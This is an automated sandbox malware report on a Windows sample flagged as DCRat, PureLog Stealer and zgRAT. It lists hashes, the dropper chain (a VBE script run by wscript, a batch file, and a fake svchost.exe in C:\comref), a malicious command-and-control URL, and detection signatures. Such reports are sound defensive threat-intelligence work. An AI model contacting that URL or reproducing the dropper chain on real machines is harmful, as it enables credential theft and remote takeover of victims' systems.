Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ugRGgCJhQl.exe

Overview

General Information

Sample name:ugRGgCJhQl.exe
renamed because original name is a hash value
Original sample name:92949DD923E8E88C697092B5311C7D95.exe
Analysis ID:1500382
MD5:92949dd923e8e88c697092b5311c7d95
SHA1:cb61d5772f5e07467734af1c151e831ff225ea17
SHA256:b7d005d2dee9456e5fbdb5f7d46a7275a9c7000ec6cbf982eee58897f88fa4c8
Tags:DCRatexe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DCRat
Yara detected PureLog Stealer
Yara detected zgRAT
AI detected suspicious sample
Drops PE files with benign system names
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Tries to harvest and steal browser information (history, passwords, etc)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • ugRGgCJhQl.exe (PID: 3876 cmdline: "C:\Users\user\Desktop\ugRGgCJhQl.exe" MD5: 92949DD923E8E88C697092B5311C7D95)
    • wscript.exe (PID: 6208 cmdline: "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" MD5: FF00E0480075B095948000BDC66E81F0)
      • cmd.exe (PID: 7164 cmdline: C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • svchost.exe (PID: 4340 cmdline: "C:\comref/svchost.exe" MD5: 5FF0CC76B0A007E57397479E5FE854B6)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
NameDescriptionAttributionBlogpost URLsLink
zgRATzgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
ugRGgCJhQl.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
    ugRGgCJhQl.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

      Dropped Files

      SourceRuleDescriptionAuthorStrings
      C:\comref\svchost.exeJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
        C:\comref\svchost.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          0000000E.00000000.1292145325.0000000000232000.00000002.00000001.01000000.0000000A.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            0000000E.00000002.3783847798.0000000012AD3000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
              0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
                00000000.00000003.1235344386.00000000069A0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                  00000000.00000003.1234987945.0000000006090000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                    Click to see the 2 entries

                    Unpacked PEs

                    SourceRuleDescriptionAuthorStrings
                    0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                      0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                        0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                          0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                            14.0.svchost.exe.230000.0.unpackJoeSecurity_zgRAT_1Yara detected zgRATJoe Security
                              Click to see the 3 entries

                              Sigma Signatures

                              System Summary

                              barindex
                              Sigma detected: Files With System Process Name In Unsuspected Locations
                              Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\ugRGgCJhQl.exe, ProcessId: 3876, TargetFilename: C:\comref\svchost.exe
                              Sigma detected: System File Execution Location Anomaly
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\comref/svchost.exe", CommandLine: "C:\comref/svchost.exe", CommandLine|base64offset|contains: , Image: C:\comref\svchost.exe, NewProcessName: C:\comref\svchost.exe, OriginalFileName: C:\comref\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\comref/svchost.exe", ProcessId: 4340, ProcessName: svchost.exe
                              Sigma detected: Uncommon Svchost Parent Process
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\comref/svchost.exe", CommandLine: "C:\comref/svchost.exe", CommandLine|base64offset|contains: , Image: C:\comref\svchost.exe, NewProcessName: C:\comref\svchost.exe, OriginalFileName: C:\comref\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\comref/svchost.exe", ProcessId: 4340, ProcessName: svchost.exe
                              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\ugRGgCJhQl.exe", ParentImage: C:\Users\user\Desktop\ugRGgCJhQl.exe, ParentProcessId: 3876, ParentProcessName: ugRGgCJhQl.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" , ProcessId: 6208, ProcessName: wscript.exe

                              Suricata Signatures

                              Timestamp:2024-08-28T11:17:17.112230+0200
                              SID:2048095
                              Severity:1
                              Source Port:49708
                              Destination Port:80
                              Protocol:TCP
                              Classtype:A Network Trojan was detected

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus / Scanner detection for submitted sample
                              Source: ugRGgCJhQl.exeAvira: detected
                              Antivirus detection for URL or domain
                              Source: http://185.106.93.197/phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.phpAvira URL Cloud: Label: malware
                              Antivirus detection for dropped file
                              Source: C:\Users\user\Desktop\eVuUdNSS.logAvira: detection malicious, Label: TR/PSW.Agent.qngqt
                              Source: C:\Users\user\Desktop\ThQetCXk.logAvira: detection malicious, Label: HEUR/AGEN.1300079
                              Source: C:\comref\POAHIjOuJ41OH.vbeAvira: detection malicious, Label: VBS/Runner.VPG
                              Source: C:\comref\svchost.exeAvira: detection malicious, Label: HEUR/AGEN.1323342
                              Multi AV Scanner detection for dropped file
                              Source: C:\Users\user\Desktop\ApTjSBhc.logVirustotal: Detection: 14%Perma Link
                              Source: C:\Users\user\Desktop\LMrHnriI.logReversingLabs: Detection: 29%
                              Source: C:\Users\user\Desktop\LMrHnriI.logVirustotal: Detection: 28%Perma Link
                              Source: C:\Users\user\Desktop\ThQetCXk.logVirustotal: Detection: 21%Perma Link
                              Source: C:\Users\user\Desktop\eVuUdNSS.logReversingLabs: Detection: 70%
                              Source: C:\Users\user\Desktop\eVuUdNSS.logVirustotal: Detection: 69%Perma Link
                              Source: C:\Users\user\Desktop\jIMTFKhG.logReversingLabs: Detection: 29%
                              Source: C:\Users\user\Desktop\jIMTFKhG.logVirustotal: Detection: 27%Perma Link
                              Source: C:\comref\svchost.exeReversingLabs: Detection: 71%
                              Source: C:\comref\svchost.exeVirustotal: Detection: 74%Perma Link
                              Multi AV Scanner detection for submitted file
                              Source: ugRGgCJhQl.exeVirustotal: Detection: 56%Perma Link
                              Source: ugRGgCJhQl.exeReversingLabs: Detection: 79%
                              AI detected suspicious sample
                              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                              Machine Learning detection for dropped file
                              Source: C:\Users\user\Desktop\eVuUdNSS.logJoe Sandbox ML: detected
                              Source: C:\comref\svchost.exeJoe Sandbox ML: detected
                              Machine Learning detection for sample
                              Source: ugRGgCJhQl.exeJoe Sandbox ML: detected
                              Source: ugRGgCJhQl.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: ugRGgCJhQl.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: iC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: rC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: pC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: qC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ugRGgCJhQl.exe
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: zC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: {C:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: lC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: |C:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000052B6000.00000004.00000800.00020000.00000000.sdmp
